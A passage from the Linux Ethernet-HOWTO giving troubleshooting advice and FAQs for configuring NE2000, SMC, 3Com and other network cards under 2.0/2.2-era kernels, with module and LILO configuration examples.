At this point, you have managed to get you card detected with all the correct parameters, and hopefully everything is working. If not, then you either have a software configuration error, or a hardware configuration error. A software configuration error is not setting up the right network addresses for the ifconfig and route commands, and details of how to do that are fully described in the Network HowTo and the `Network Administrator's Guide' which both probably came on the CD-ROM you installed from.

A hardware configuration error is when some sort of resource conflict or mis-configuration (that the driver didn't detect at boot) stops the card from working properly. This typically can be observed in several different ways. (1) You get an error message when ifconfig tries to open the device for use, such as ``SIOCSFFLAGS: Try again''. (2) The driver reports eth0 error messages (viewed by dmesg | more) or strange inconsistencies for each time it tries to send or receive data. (3) Typing cat /proc/net/dev shows non-zero numbers in one of the errs, drop, fifo, frame or carrier columns for eth0. (4) Typing cat /proc/interrupts shows a zero interrupt count for the card. Most of the typical hardware configuration errors are also discussed in the FAQ section.

Well, if you have got to this point and things still aren't working, read the FAQ section of this document, read the vendor specific section detailing your particular card, and if it still doesn't work then you may have to resort to posting to an appropriate newsgroup for help. If you do post, please detail all relevant information in that post, such as the card brand, the kernel version, the driver boot messages, the output from cat /proc/net/dev, a clear description of the problem, and of course what you have already tried to do in an effort to get things to work.

You would be surprised at how many people post useless things like ``Can someone help me? My ethernet doesn't work.'' and nothing else. Readers of the newsgroups tend to ignore such silly posts, whereas a detailed and informational problem description may allow a `linux-guru' to spot your problem right away. Of course the same holds true when e-mailing a problem report - always provide as much information as possible.

1.4 Type of cable that your card should support

The twisted pair cables, with the RJ-45 (giant phone jack) connectors is technically called 10BaseT. You may also hear it called UTP (Unsheilded Twisted Pair).

The thinnet, or thin ethernet cabling, (RG-58 coaxial cable) with the BNC (metal push and turn-to-lock) connectors is technically called 10Base2.

The older thick ethernet (10mm coaxial cable) which is only found in older installations is called 10Base5. The 15 pin D-shaped plug found on some ethernet cards (the AUI connector) is used to connect to thick ethernet and external transcievers.

Most ethercards also come in a `Combo' version for only $10-$20 more. These have both twisted pair and thinnet transceiver built-in, allowing you to change your mind later.

Most installations will use 10BaseT/100BaseT 10Base2 does not offer any upgrade path to 100Base-whatever. 10Base2 is fine for hobbyists setting up a home network when purchasing a hub is not desireable for some reason or another.

See Cables, Coax... for other concerns with different types of ethernet cable.


Linux Ethernet-Howto: Frequently Asked Questions

 Next Previous Contents

2. Frequently Asked Questions

Here are some of the more frequently asked questions about using Linux with an Ethernet connection. Some of the more specific questions are sorted on a `per manufacturer basis'. Chances are the question you want an answer for has already been asked (and answered!) by someone else, so even if you don't find your answer here, you probably can find what you want from a news archive such as Dejanews.

2.1 What card should I buy for Linux?

The answer to this question depends heavily on exactly what you intend on doing with your net connection, and how much traffic it will see.

If you only expect a single user to be doing the occasional ftp session or WWW connection, then even an old 8 bit ISA card will probably keep you happy.

If you intend to set up a server, and you require the CPU overhead of moving data over the network to be kept to a minimum, you probably want to look at one of the PCI cards that uses a chip with bus-mastering capapbility, such as the DEC tulip (21xxx) chip, or the AMD PCnet-PCI chip.

If you fall somewhere in the middle of the above, then any one of the low cost PCI or 16 bit ISA cards with stable drivers will do the job for you.

2.2 Alpha Drivers -- Getting and Using them

I heard that there is an updated or preliminary/alpha driver available for my card. Where can I get it?

The newest of the `new' drivers can be found on Donald's ftp site: www.scyld.com in the /pub/linux/ area. Things change here quite frequently, so just look around for it. Alternatively, it may be easier to use a WWW browser on:

Don's Linux Home Page

to locate the driver that you are looking for. (Watch out for WWW browsers that silently munge the source by replacing TABs with spaces and so on - use ftp, or at least an FTP URL for downloading if unsure.)

Now, if it really is an alpha, or pre-alpha driver, then please treat it as such. In other words, don't complain because you can't figure out what to do with it. If you can't figure out how to install it, then you probably shouldn't be testing it. Also, if it brings your machine down, don't complain. Instead, send us a well documented bug report, or even better, a patch!

Note that some of the `useable' experimental/alpha drivers have been included in the standard kernel source tree. When running make config one of the first things you will be asked is whether to ``Prompt for development and/or incomplete code/drivers''. You will have to answer `Y' here to get asked about including any alpha/experiemntal drivers.

2.3 Using More than one Ethernet Card per Machine

What needs to be done so that Linux can run two ethernet cards?

The answer to this question depends on whether the driver(s) is/are being used as a loadable module or are compiled directly into the kernel. Most linux distributions use modular drivers now. This saves distributing lots of kernels, each with a different driver set built in. Instead a single basic kernel is used and the individual drivers that are need for a particular user's system are loaded once the system has booted far enough to access the driver module files (usually stored in /lib/modules/).

With the Driver as a Module: In the case of PCI drivers, the module will typically detect all of the installed cards of that brand model automatically. However, for ISA cards, probing for a card is not a safe operation, and hence you typically need to supply the I/O base address of the card so the module knows where to look. This information is stored in the file /etc/conf.modules.

As an example, consider a user that has two ISA NE2000 cards, one at 0x300 and one at 0x240 and what lines they would have in their /etc/conf.modules file:

        alias eth0 ne
        alias eth1 ne
        options ne io=0x240,0x300

What this does: This says that if the administrator (or the kernel) does a modprobe eth0 or a modprobe eth1 then the ne.o driver should be loaded for either eth0 or eth1. Furthermore, when the ne.o module is loaded, it should be loaded with the options io=0x240,0x300 so that the driver knows where to look for the cards. Note that the 0x is important - things like 300h as commonly used in the DOS world won't work. Switching the order of the 0x240 and the 0x300 will switch which physical card ends up as eth0 and eth1.

Most of the ISA module drivers can take multiple comma separated I/O values like this example to handle multiple cards. However, some (older?) drivers, such as the 3c501.o module are currently only able to handle one card per module load. In this case you can load the module twice to get both cards detected. The /etc/conf.modules file in this case would look like:

        alias eth0 3c501
        alias eth1 3c501
        options eth0 -o 3c501-0 io=0x280 irq=5
        options eth1 -o 3c501-1 io=0x300 irq=7

In this example the -o option has been used to give each instance of the module a unique name, since you can't have two modules loaded with the same name. The irq= option has also been used to to specify the hardware IRQ setting of the card. (This method can also be used with modules that accept comma separated I/O values, but it is less efficient since the module ends up being loaded twice when it doesn't really need to be.)

As a final example, consider a user with one 3c503 card at 0x350 and one SMC Elite16 (wd8013) card at 0x280. They would have:

        alias eth0 wd
        alias eth1 3c503
        options wd io=0x280
        options 3c503 io=0x350

For PCI cards, you typically only need the alias lines to correlate the ethN interfaces with the appropriate driver name, since the I/O base of a PCI card can be safely detected.

The available modules are typically stored in /lib/modules/`uname -r`/net where the uname -r command gives the kernel version (e.g. 2.0.34). You can look in there to see which one matches your card. Once you have the correct settings in your conf.modules file, you can test things out with:

        modprobe ethN
        dmesg | tail

where `N' is the number of the ethernet interface you are testing.

With the Driver Compiled into the Kernel: If you have the driver compiled into the kernel, then the hooks for multiple ethercards are all there. However, note that at the moment only one ethercard is auto-probed for by default. This helps to avoid possible boot time hangs caused by probing sensitive cards.

(Note: As of late 2.1.x kernels, the boot probes have been sorted into safe and unsafe, so that all safe (e.g. PCI and EISA) probes will find all related cards automatically. Systems with more than one ethernet card with at least one of them being an ISA card will still need to do one of the following.)

There are two ways that you can enable auto-probing for the second (and third, and...) card. The easiest method is to pass boot-time arguments to the kernel, which is usually done by LILO. Probing for the second card can be achieved by using a boot-time argument as simple as ether=0,0,eth1. In this case eth0 and eth1 will be assigned in the order that the cards are found at boot. Say if you want the card at 0x300 to be eth0 and the card at 0x280 to be eth1 then you could use

LILO: linux ether=5,0x300,eth0 ether=15,0x280,eth1

The ether= command accepts more than the IRQ + I/O + name shown above. Please have a look at Passing Ethernet Arguments... for the full syntax, card specific parameters, and LILO tips.

These boot time arguments can be made permanent so that you don't have to re-enter them every time. See the LILO configuration option `append' in the LILO manual.

The second way (not recommended) is to edit the file Space.c and replace the 0xffe0 entry for the I/O address with a zero. The 0xffe0 entry tells it not to probe for that device -- replacing it with a zero will enable autoprobing for that device.

2.4 The ether= thing didn't do anything for me. Why?

As described above, the ether= command only works for drivers that are compiled into the kernel. Now most distributions use the drivers in a modular form, and so the ether= command is rarely used anymore. (Some older documentation has yet to be updated to reflect this change.) If you want to apply options for a modular ethernet driver you must make changes to the /etc/conf.modules file.

If you are using a compiled in driver, and have added an ether= to your LILO configuration file, note that it won't take effect until you re-run lilo to process the updated configuration file.

2.5 Problems with NE1000 / NE2000 cards (and clones)

Problem: PCI NE2000 clone card is not detected at boot with v2.0.x.

Reason: The ne.c driver up to v2.0.30 only knows about the PCI ID number of RealTek 8029 based clone cards. Since then, several others have also released PCI NE2000 clone cards, with different PCI ID numbers, and hence the driver doesn't detect them.

Solution: The easiest solution is to upgrade to a v2.0.31 (or newer) version of the linux kernel. It knows the ID numbers of about five different NE2000-PCI chips, and will detect them automatically at boot or at module loading time. If you upgrade to 2.0.34 (or newer) there is a PCI-only specific NE2000 driver that is slightly smaller and more efficient than the original ISA/PCI driver.

Problem: PCI NE2000 clone card is reported as an ne1000 (8 bit card!) at boot or when I load the ne.o module for v2.0.x, and hence doesn't work.

Reason: Some PCI clones don't implement byte wide access (and hence are not truly 100% NE2000 compatible). This causes the probe to think they are NE1000 cards.

Solution: You need to upgrade to v2.0.31 (or newer) as described above. The driver(s) now check for this hardware bug.

Problem: PCI NE2000 card gets terrible performance, even when reducing the window size as described in the Performance Tips section.

Reason: The spec sheets for the original 8390 chip, desgined and sold over ten years ago, noted that a dummy read from the chip was required before each write operation for maximum reliablity. The driver has the facility to do this but it has been disabled by default since the v1.2 kernel days. One user has reported that re-enabling this `mis-feature' helped their performance with a cheap PCI NE2000 clone card.

Solution: Since it has only been reported as a solution by one person, don't get your hopes up. Re-enabling the read before write fix is done by simply editing the driver file in linux/drivers/net/, uncommenting the line containing NE_RW_BUGFIX and then rebuilding the kernel or module as appropriate. Please send an e-mail describing the performance difference and type of card/chip you have if this helps you. (The same can be done for the ne2k-pci.c driver as well).

Problem: The ne2k-pci.c driver reports error messages like timeout waiting for Tx RDC with a PCI NE2000 card and doesn't work right.

Reason: Your card and/or the card to PCI bus link can't handle the long word I/O optimization used in this driver.

Solution: Firstly, check the settings available in the BIOS/CMOS setup to see if any related to PCI bus timing are too aggressive for reliable operation. Otherwise using the ISA/PCI ne.c driver (or removing the #define USE_LONGIO from ne2k-pci.c) should let you use the card.

Probem: ISA Plug and Play NE2000 (such as RealTek 8019) is not detected.

Reason: The original NE2000 specification (and hence the linux NE2000 driver) does not have support for Plug and Play.

Solution: Use the DOS configuration disk that came with the card to disable PnP, and to set the card to a specified I/O address and IRQ. Add a line to /etc/conf.modules like options ne io=0xNNN where 0xNNN is the hex I/O address you set the card to. (This assumes you are using a modular driver; if not then use an ether=0,0xNNN,eth0 argument at boot). You may also have to enter the BIOS/CMOS setup and mark the IRQ as Legacy-ISA instead of PnP. Alternatively, if you need to leave PnP enabled for compatibility with some other operating system, then look into the isapnptools package. Try man isapnp to see if it is already installed on your system. If not, then have a look at the following URL:

ISA PNP Tools

Problem: NE*000 driver reports `not found (no reset ack)' during boot probe.

Reason: This is related to the above change. After the initial verification that an 8390 is at the probed I/O address, the reset is performed. When the card has completed the reset, it is supposed to acknowedge that the reset has completed. Your card doesn't, and so the driver assumes that no NE card is present.

Solution: You can tell the driver that you have a bad card by using an otherwise unused mem_end hexidecimal value of 0xbad at boot time. You have to also supply a non-zero I/O base for the card when using the 0xbad override. For example, a card that is at 0x340 that doesn't ack the reset would use something like:

LILO: linux ether=0,0x340,0,0xbad,eth0

This will allow the card detection to continue, even if your card doesn't ACK the reset. If you are using the driver as a module, then you can supply the option bad=0xbad just like you supply the I/O address.

Problem: NE*000 card hangs machine at first network access.

Reason: This problem has been reported for kernels as old as 1.1.57 to the present. It appears confined to a few software configurable clone cards. It appears that they expect to be initialized in some special way.

Solution: Several people have reported that running the supplied DOS software config program and/or the supplied DOS driver prior to warm booting (i.e. loadlin or the `three-finger-salute') into linux allowed the card to work. This would indicate that these cards need to be initialized in a particular fashion, slightly different than what the present Linux driver does.

Problem: NE*000 ethercard at 0x360 doesn't get detected.

Reason: Your NE2000 card is 0x20 wide in I/O space, which makes it hit the parallel port at 0x378. Other devices that could be there are the second floppy controller (if equipped) at 0x370 and the secondary IDE controller at 0x376--0x377. If the port(s) are already registered by another driver, the kernel will not let the probe happen.

Solution: Either move your card to an address like 0x280, 0x340, 0x320 or compile without parallel printer support.

Problem: Network `goes away' every time I print something (NE2000)

Reason: Same problem as above, but you have an older kernel that doesn't check for overlapping I/O regions. Use the same fix as above, and get a new kernel while you are at it.

Problem: NE*000 ethercard probe at 0xNNN: 00 00 C5 ... not found. (invalid signature yy zz)

Reason: First off, do you have a NE1000 or NE2000 card at the addr. 0xNNN? And if so, does the hardware address reported look like a valid one? If so, then you have a poor NE*000 clone. All NE*000 clones are supposed to have the value 0x57 in bytes 14 and 15 of the SA PROM on the card. Yours doesn't -- it has `yy zz' instead.

Solution: There are two ways to get around this. The easiest is to use an 0xbad mem_end value as described above for the `no reset ack' problem. This will bypass the signature check, as long as a non-zero I/O base is also given. This way no recompilation of the kernel is required.

The second method (for hackers) involves changing the driver itself, and then recompiling your kernel (or module). The driver (/usr/src/linux/drivers/net/ne.c) has a "Hall of Shame" list at about line 42. This list is used to detect poor clones. For example, the DFI cards use `DFI' in the first 3 bytes of the PROM, instead of using 0x57 in bytes 14 and 15, like they are supposed to.

Problem: The machine hangs during boot right after the `8390...' or `WD....' message. Removing the NE2000 fixes the problem.

Solution: Change your NE2000 base address to something like 0x340. Alternatively, you can use the ``reserve='' boot argument in conjunction with the ``ether='' argument to protect the card from other device driver probes.

Reason: Your NE2000 clone isn't a good enough clone. An active NE2000 is a bottomless pit that will trap any driver autoprobing in its space. Changing the NE2000 to a less-popular address will move it out of the way of other autoprobes, allowing your machine to boot.

Problem: The machine hangs during the SCSI probe at boot.

Reason: It's the same problem as above, change the ethercard's address, or use the reserve/ether boot arguments.

Problem: The machine hangs during the soundcard probe at boot.

Reason: No, that's really during the silent SCSI probe, and it's the same problem as above.

Problem: NE2000 not detected at boot - no boot messages at all

Solution: There is no `magic solution' as there can be a number of reasons why it wasn't detected. The following list should help you walk through the possible problems.

1) Build a new kernel with only the device drivers that you need. Verify that you are indeed booting the fresh kernel. Forgetting to run lilo, etc. can result in booting the old one. (Look closely at the build time/date reported at boot.) Sounds obvious, but we have all done it before. Make sure the driver is in fact included in the new kernel, by checking the System.map file for names like ne_probe.

2) Look at the boot messages carefully. Does it ever even mention doing a ne2k probe such as `NE*000 probe at 0xNNN: not found (blah blah)' or does it just fail silently. There is a big difference. Use dmesg|more to review the boot messages after logging in, or hit Shift-PgUp to scroll the screen up after the boot has completed and the login prompt appears.

3) After booting, do a cat /proc/ioports and verify that the full iospace that the card will require is vacant. If you are at 0x300 then the ne2k driver will ask for 0x300-0x31f. If any other device driver has registered even one port anywhere in that range, the probe will not take place at that address and will silently continue to the next of the probed addresses. A common case is having the lp driver reserve 0x378 or the second IDE channel reserve 0x376 which stops the ne driver from probing 0x360-0x380.

4) Same as above for cat /proc/interrupts. Make sure no other device has registered the interrupt that you set the ethercard for. In this case, the probe will happen, and the ether driver will complain loudly at boot about not being able to get the desired IRQ line.

5) If you are still stumped by the silent failure of the driver, then edit it and add some printk() to the probe. For example, with the ne2k you could add/remove lines (marked with a `+' or `-') in linux/drivers/net/ne.c like:

    int reg0 = inb_p(ioaddr);

+    printk("NE2k probe - now checking %x\n",ioaddr);
-    if (reg0 == 0xFF)
+    if (reg0 == 0xFF) {
+       printk("NE2k probe - got 0xFF (vacant I/O port)\n");
        return ENODEV;
+    }

Then it will output messages for each port address that it checks, and you will see if your card's address is being probed or not.

6) You can also get the ne2k diagnostic from Don's ftp site (mentioned in the howto as well) and see if it is able to detect your card after you have booted into linux. Use the `-p 0xNNN' option to tell it where to look for the card. (The default is 0x300 and it doesn't go looking elsewhere, unlike the boot-time probe.) The output from when it finds a card will look something like:

Checking the ethercard at 0x300.
  Register 0x0d (0x30d) is 00
  Passed initial NE2000 probe, value 00.
8390 registers: 0a 00 00 00 63 00 00 00 01 00 30 01 00 00 00 00
SA PROM  0: 00 00 00 00 c0 c0 b0 b0 05 05 65 65 05 05 20 20
SA PROM 0x10: 00 00 07 07 0d 0d 01 01 14 14 02 02 57 57 57 57

        NE2000 found at 0x300, using start page 0x40 and end page 0x80.

Your register values and PROM values will probably be different. Note that all the PROM values are doubled for a 16 bit card, and that the ethernet address (00:00:c0:b0:05:65) appears in the first row, and the double 0x57 signature appears at the end of the PROM.

The output from when there is no card installed at 0x300 will look something like this:

Checking the ethercard at 0x300.
  Register 0x0d (0x30d) is ff
  Failed initial NE2000 probe, value ff.
8390 registers: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
SA PROM        0: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
SA PROM 0x10: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff

 Invalid signature found, wordlength 2.

The 0xff values arise because that is the value that is returned when one reads a vacant I/O port. If you happen to have some other hardware in the region that is probed, you may see some non 0xff values as well.

7) Try warm booting into linux from a DOS boot floppy (via loadlin) after running the supplied DOS driver or config program. It may be doing some extra (i.e. non-standard) "magic" to initialize the card.

8) Try Russ Nelson's ne2000.com packet driver to see if even it can see your card -- if not, then things do not look good. Example:

A:> ne2000 0x60 10 0x300

The arguments are software interrupt vector, hardware IRQ, and I/O base. You can get it from any msdos archive in pktdrv11.zip -- The current version may be newer than 11.

2.6 Problems with SMC Ultra/EtherEZ and WD80*3 cards

Problem: You get messages such as the following:

        eth0: bogus packet size: 65531, status=0xff, nxpg=0xff

Reason: There is a shared memory problem.

Solution: The most common reason for this is PCI machines that are not configured to map in ISA memory devices. Hence you end up reading the PC's RAM (all 0xff values) instead of the RAM on the card that contains the data from the received packet.

Other typical problems that are easy to fix are board conflicts, having cache or `shadow ROM' enabled for that region, or running your ISA bus faster than 8Mhz. There are also a surprising number of memory failures on ethernet cards, so run a diagnostic program if you have one for your ethercard.

Problem: SMC EtherEZ doesn't work in non-shared memory (PIO) mode.

Reason: Older versions of the Ultra driver only supported the card in the shared memory mode of operation.

Solution: The driver in kernel version 2.0 and above also supports the programmed I/O mode of operation. Upgrade to v2.0 or newer.

Problem: Old wd8003 and/or jumper-settable wd8013 always get the IRQ wrong.

Reason: The old wd8003 cards and jumper-settable wd8013 clones don't have the EEPROM that the driver can read the IRQ setting from. If the driver can't read the IRQ, then it tries to auto-IRQ to find out what it is. And if auto-IRQ returns zero, then the driver just assigns IRQ 5 for an 8 bit card or IRQ 10 for a 16 bit card.

Solution: Avoid the auto-IRQ code, and tell the kernel what the IRQ that you have jumpered the card to in your module configuration file (or via a boot time argument for in-kernel drivers).

Problem: SMC Ultra card is detected as wd8013, but the IRQ and shared memory base is wrong.

Reason: The Ultra card looks a lot like a wd8013, and if the Ultra driver is not present in the kernel, the wd driver may mistake the ultra as a wd8013. The ultra probe comes before the wd probe, so this usually shouldn't happen. The ultra stores the IRQ and mem base in the EEPROM differently than a wd8013, hence the bogus values reported.

Solution: Recompile with only the drivers you need in the kernel. If you have a mix of wd and ultra cards in one machine, and are using modules, then load the ultra module first.

2.7 Problems with 3Com cards

Problem: The 3c503 picks IRQ N, but this is needed for some other device which needs IRQ N. (eg. CD ROM driver, modem, etc.) Can this be fixed without compiling this into the kernel?

Solution: The 3c503 driver probes for a free IRQ line in the order {5, 9/2, 3, 4}, and it should pick a line which isn't being used. The driver chooses when the card is ifconfig'ed into operation.

If you are using a modular driver, you can use module parameters to set various things, including the IRQ value.

The following selects IRQ9, base location 0x300, <ignored value>, and if_port #1 (the external transceiver).

io=0x300 irq=9 xcvr=1

Alternately, if the driver is compiled into the kernel, you can set the same values at boot by passing parameters via LILO.

LILO: linux ether=9,0x300,0,1,eth0

The following selects IRQ3, probes for the base location, <ignored value>, and the default if_port #0 (the internal transceiver)

LILO: linux ether=3,0,0,0,eth0

Problem: 3c503: configured interrupt X invalid, will use autoIRQ.

Reason: The 3c503 card can only use one of IRQ{5, 2/9, 3, 4} (These are the only lines that are connected to the card.) If you pass in an IRQ value that is not in the above set, you will get the above message. Usually, specifying an interrupt value for the 3c503 is not necessary. The 3c503 will autoIRQ when it gets ifconfig'ed, and pick one of IRQ{5, 2/9, 3, 4}.

Solution: Use one of the valid IRQs listed above, or enable autoIRQ by not specifying the IRQ line at all.

Problem: The supplied 3c503 drivers don't use the AUI (thicknet) port. How does one choose it over the default thinnet port?

Solution: The 3c503 AUI port can be selected at boot-time for in-kernel drivers, and at module insertion for modular drivers. The selection is overloaded onto the low bit of the currently-unused dev->rmem_start variable, so a boot-time parameter of:

LILO: linux ether=0,0,0,1,eth0

should work for in-kernel drivers.

To specify the AUI port when loading as a module, just append xcvr=1 to the module options line along with your I/O and IRQ values.

2.8 FAQs Not Specific to Any Card.

Linux and ISA Plug and Play Ethernet Cards

For best results (and minimum aggravation) it is recommended that you use the (usually DOS) program that came with your card to disable the PnP mechanism and set it to a fixed I/O address and IRQ. Make sure the I/O address you use is probed by the driver at boot, or if using modules then supply the address as an io= option in /etc/conf.modules. You may also have to enter the BIOS/CMOS setup and mark the IRQ as Legacy-ISA instead of PnP (if your computer has this option).

Note that you typically don't need DOS installed to run a DOS based configuration program. You can usually just boot a DOS floppy disk and run them from the supplied floppy disk. You can also download OpenDOS and FreeDOS for free.

If you require PnP enabled for compatibility with some other operating system then you will have to use the isapnptools package with linux to configure the card(s) each time at boot. You will still have to make sure the I/O address chosen for the card is probed by the driver or supplied as an io= option.

Some systems have an `enable PnP OS' (or similar named) option in the BIOS/CMOS setup menu which will need to be disabled in nearly all cases or the cards won't work properly, or even be detected . Best described by one user who said `I don't know what it does behind the scenes, but it seems to be evil.'

Ethercard is Not Detected at Boot.

The usual reason for this is that people are using a kernel that does not have support for their particular card built in. For a modular kernel, it usually means that the required module has not been requested for loading, or that an I/O address needs to be specified as a module option.

If you are using a modular based kernel, such as those installed by most of the linux distributions, then try and use the configuration utility for the distribution to select the module for your card. For ISA cards, it is a good idea to determine the I/O address of the card and add it as an option (e.g. io=0x340) if the configuration utility asks for any options. If there is no configuration utility, then you will have to add the correct module name (and options) to /etc/conf.modules -- see man modprobe for more details.

If you are using a pre-compiled kernel that is part of a distribution set, then check the documentation to see which kernel you installed, and if it was built with support for your particular card. If it wasn't, then your options are to try and get one that has support for your card, or build your own.

It is usually wise to build your own kernel with only the drivers you need, as this cuts down on the kernel size (saving your precious RAM for applications!) and reduces the number of device probes that can upset sensitive hardware. Building a kernel is not as complicated as it sounds. You just have to answer yes or no to a bunch of questions about what drivers you want, and it does the rest.

The next main cause is having another device using part of the I/O space that your card needs. Most cards are 16 or 32 bytes wide in I/O space. If your card is set at 0x300 and 32 bytes wide, then the driver will ask for 0x300-0x31f. If any other device driver has registered even one port anywhere in that range, the probe will not take place at that address and the driver will silently continue to the next of the probed addresses. So, after booting, do a cat /proc/ioports and verify that the full I/O space that the card will require is vacant.

Another problem is having your card jumpered to an I/O address that isn't probed by default. The list of probed addresses for each driver is easily found just after the text comments in the driver source. Even if the I/O setting of your card is not in the list of probed addresses, you can supply it at boot (for in-kernel drivers) with the ether= command as described in Passing Ethernet Arguments... Modular drivers can make use of the io= option in /etc/conf.modules to specify an address that isn't probed by default.

ifconfig reports the wrong I/O address for the card.

No it doesn't. You are just interpreting it incorrectly. This is not a bug, and the numbers reported are correct. It just happens that some 8390 based cards (wd80x3, smc-ultra, etc) have the actual 8390 chip living at an offset from the first assigned I/O port. This is the value stored in dev->base_addr, and is what ifconfig reports. If you want to see the full range of ports that your card uses, then try cat /proc/ioports which will give the numbers you expect.

PCI machine detects card but driver fails probe.

Some PCI BIOSes may not enable all PCI cards at power-up, especially if the BIOS option `PNP OS' is enabled. This mis-feature is to support the current release of Windows which still uses some real-mode drivers. Either disable this option, or try and upgrade to a newer driver which has the code to enable a disabled card.

Shared Memory ISA cards in PCI Machine do not work (0xffff)

This will usually show up as reads of lots of 0xffff values. No shared memory cards of any type will work in a PCI machine unless you have the PCI ROM BIOS/CMOS SETUP configuration set properly. You have to set it to allow shared memory access from the ISA bus for the memory region that your card is trying to use. If you can't figure out which settings are applicable then ask your supplier or local computer guru. For AMI BIOS, there is usually a "Plug and Play" section where there will be an ``ISA Shared Memory Size'' and ``ISA Shared Memory Base'' settings. For cards like the wd8013 and SMC Ultra, change the size from the default of `Disabled' to 16kB, and change the base to the shared memory address of your card.

Card seems to send data but never receives anything.

Do a cat /proc/interrupts. A running total of the number of interrupt events your card generates will be in the list given from the above. If it is zero and/or doesn't increase when you try to use the card then there is probably a physical interrupt conflict with another device installed in the computer (regardless of whether or not the other device has a driver installed/available). Change the IRQ of one of the two devices to a free IRQ.

Asynchronous Transfer Mode (ATM) Support

Werner Almesberger has been working on ATM support for linux. He has been working with the Efficient Networks ENI155p board ( Efficient Networks) and the Zeitnet ZN1221 board ( Zeitnet).

Werner says that the driver for the ENI155p is rather stable, while the driver for the ZN1221 is presently unfinished.

Check the latest/updated status at the following URL:

Linux ATM Support

Gigabyte Ethernet Support

Is there any gigabyte ethernet support for Linux?

Yes, there are currently at least two. A driver for the Packet Engines G-NIC PCI Gigabit Ethernet adapter is available in the v2.0 and v2.2 kernels For more details, support, and driver updates, see:

http://www.scyld.com/linux/drivers/yellowfin.html

The acenic.c driver available in the v2.2 kernels can be used for the Alteon AceNIC Gigabit Ethernet card and other Tigon based cards such as the 3Com 3c985. The driver should also work on the NetGear GA620, however this has yet to be verified.

FDDI Support

Is there FDDI support for Linux?

Yes. Larry Stefani has written a driver for v2.0 with Digital's DEFEA (FDDI EISA) and DEFPA (FDDI PCI) cards. This was included into the v2.0.24 kernel. Currently no other cards are supported though.

Full Duplex Support

Will Full Duplex give me 20MBps? Does Linux support it?

Cameron Spitzer writes the following about full duplex 10Base-T cards: ``If you connect it to a full duplex switched hub, and your system is fast enough and not doing much else, it can keep the link busy in both directions. There is no such thing as full duplex 10BASE-2 or 10BASE-5 (thin and thick coax). Full Duplex works by disabling collision detection in the adapter. That's why you can't do it with coax; the LAN won't run that way. 10BASE-T (RJ45 interface) uses separate wires for send and receive, so it's possible to run both ways at the same time. The switching hub takes care of the collision problem. The signalling rate is 10 Mbps.''

So as you can see, you still will only be able to receive or transmit at 10Mbps, and hence don't expect a 2x performance increase. As to whether it is supported or not, that depends on the card and possibly the driver. Some cards may do auto-negotiation, some may need driver support, and some may need the user to select an option in a card's EEPROM configuration. Only the serious/heavy user would notice the difference between the two modes anyway.

Ethernet Cards for Linux on SMP Machines

If you spent the extra money on a multi processor (MP) computer then buy a good ethernet card as well. For v2.0 kernels it wasn't really an issue, but it definitely is for v2.2. Most of the older non-intelligent (e.g. ISA bus PIO and shared memory design) cards were never designed with any consideration for use on a MP machine. The executive summary is to buy an intelligent modern design card and make sure the driver has been written (or updated) to handle MP operation. (The key words here are `modern design' - the PCI-NE2000's are just a 10+ year old design on a modern bus.) Looking for the text spin_lock in the driver source is a good indication that the driver has been written to deal with MP operation. The full details of why you should buy a good card for MP use (and what happens if you dont) follow.

In v2.0 kernels, only one processor was allowed `in kernel' (i.e. changing kernel data and/or running device drivers) at any given time. So from the point of view of the card (and the associated driver) nothing was different from uni processor (UP) operation and things just continued to work. (This was the easiest way to get a working MP version of Linux - one big lock around the whole kernel only allows one processor in at a time. This way you know that you won't have two processors trying to change the same thing at the same time!)

The downside to only allowing one processor in the kernel at a time was that you only got MP performance if the running programs were self contained and calculation intensive. If the programs did a lot of input/output (I/O) such as reading or writing data to disk or over a network, then all but one of the processors would be stalled waiting on their I/O requests to be completed while the one processor running in kernel frantically tries to run all the device drivers to fill the I/O requests. The kernel becomes the bottleneck and since there is only one processor running in the kernel, the performance of a MP machine in the heavy I/O, single-lock case quickly degrades close to that of a single processor machine.

Since this is clearly less than ideal (esp. for file/WWW servers, routers, etc.) the v2.2 kernels have finer grained locking - meaning that more than one processor can be in the kernel at a time. Instead of one big lock around the whole kernel, there are a lot of smaller locks protecting critical data from being manipulated by more than one processor at a time - e.g. one processor can be running the driver for the network card, while another processor is running the driver for the disk drive at the same time.

Okay, with that all in mind here are the snags: The finer locking means that you can have one processor trying to send data out through an ethernet driver while another processor tries to access the same driver/card to do something else (such as get the card statistics for cat /proc/net/dev). Oops - your card stats just got sent out over the wire, while you got data for your stats instead. Yes, the card got confused by being asked to do two (or more!) things at once, and chances are it crashed your machine in the process.

So, the driver that worked for UP is no longer good enough - it needs to be updated with locks that control access to the underlying card so that the three tasks of receive, transmit and manipulation of configuration data are serialized to the degree required by the card for stable operation. The scary part here is that a driver not yet updated with locks for stable MP operation will probably appear to be working in a MP machine under light network load, but will crash the machine or at least exhibit strange behaviour when two (or more!) processors try to do more than one of these three tasks at the same time.

The updated MP aware ethernet driver will (at a minimum) require a lock around the driver that limits access at the entry points from the kernel into the driver to `one at a time please'. With this in place, things will be serialized so that the underlying hardware should be treated just as if it was being used in a UP machine, and so it should be stable. The downside is that the one lock around the whole ethernet driver has the same negative performance implications that having one big lock around the whole kernel had (but on a smaller scale) - i.e. you can only have one processor dealing with the card at a time. [Technical Note: The performance impact may also include increased interrupt latencies if the locks that need to be added are of the irqsave type and they are held for a long time.]

Possible improvements on this situation can be made in two ways. You can try to minimize the time between when the lock is taken and when it is released, and/or you can implement finer grained locking within the driver (e.g. a lock around the whole driver would be overkill if a lock or two protecting against simultaneous access to a couple of sensitive registers/settings on the card would suffice).

However, for older non-intelligent cards that were never designed with MP use in mind, neither of these improvements may be feasible. Worse yet is that the non-intelligent cards typically require the processor to move the data between the card and the computer memory, so in a worst case scenario the lock will be held the whole time that it takes to move each 1.5kB data packet over an ISA bus.

The more modern intelligent cards typically move network data directly to and from the computer memory without any help from a processor. This is a big win, since the lock is then only held for the short time it takes the processor to tell the card where in memory to get/store the next network data packet. More modern card designs are less apt to require a single big lock around the whole driver as well.

Ethernet Cards for Linux on Alpha/AXP PCI Boards

As of v2.0, only the 3c509, depca, de4x5, pcnet32, and all the 8390 drivers (wd, smc-ultra, ne, 3c503, etc.) have been made `architecture independent' so as to work on the DEC Alpha CPU based systems. Other updated PCI drivers from Donald's WWW page may also work as these have been written with architecture independence in mind.

Note that the changes that are required to make a driver architecture independent aren't that complicated. You only need to do the following:

